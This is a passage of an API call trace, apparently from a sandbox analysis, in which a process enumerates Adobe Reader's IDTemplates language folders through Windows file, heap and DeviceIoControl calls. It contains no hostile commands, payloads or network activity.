(HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201858 [0081.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12627f8 [0081.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.289] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.289] GetLastError () returned 0x12 [0081.289] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.289] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.289] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.289] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.289] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.289] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.289] GetLastError () returned 0x12 [0081.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.290] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.290] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1 [0081.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.290] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.291] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.291] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273c68 [0081.292] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273c68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273c68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273c68) returned 1 [0081.292] NtClose (Handle=0x168) returned 0x0 [0081.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.293] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.293] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.293] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16097, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201878 [0081.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1262900 [0081.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.295] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15db2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201898 [0081.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1262a08 [0081.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.296] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15db2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.296] GetLastError () returned 0x12 [0081.296] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.296] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.296] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.296] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16097, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.297] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15db2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.297] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15db2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.297] GetLastError () returned 0x12 [0081.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.297] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.297] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1 [0081.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.297] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.298] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.298] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273c68 [0081.298] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273c68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273c68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273c68) returned 1 [0081.298] NtClose (Handle=0x178) returned 0x0 [0081.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.299] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.299] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.299] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10913, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12018b8 [0081.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1262b10 [0081.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.301] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x103f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12018d8 [0081.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1262c18 [0081.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.302] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x103f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.302] GetLastError () returned 0x12 [0081.302] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.303] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.303] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.303] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10913, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.303] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x103f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.303] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x103f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.303] GetLastError () returned 0x12 [0081.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.303] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.303] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1 [0081.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.304] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.304] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.305] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273c68 [0081.305] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273c68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, 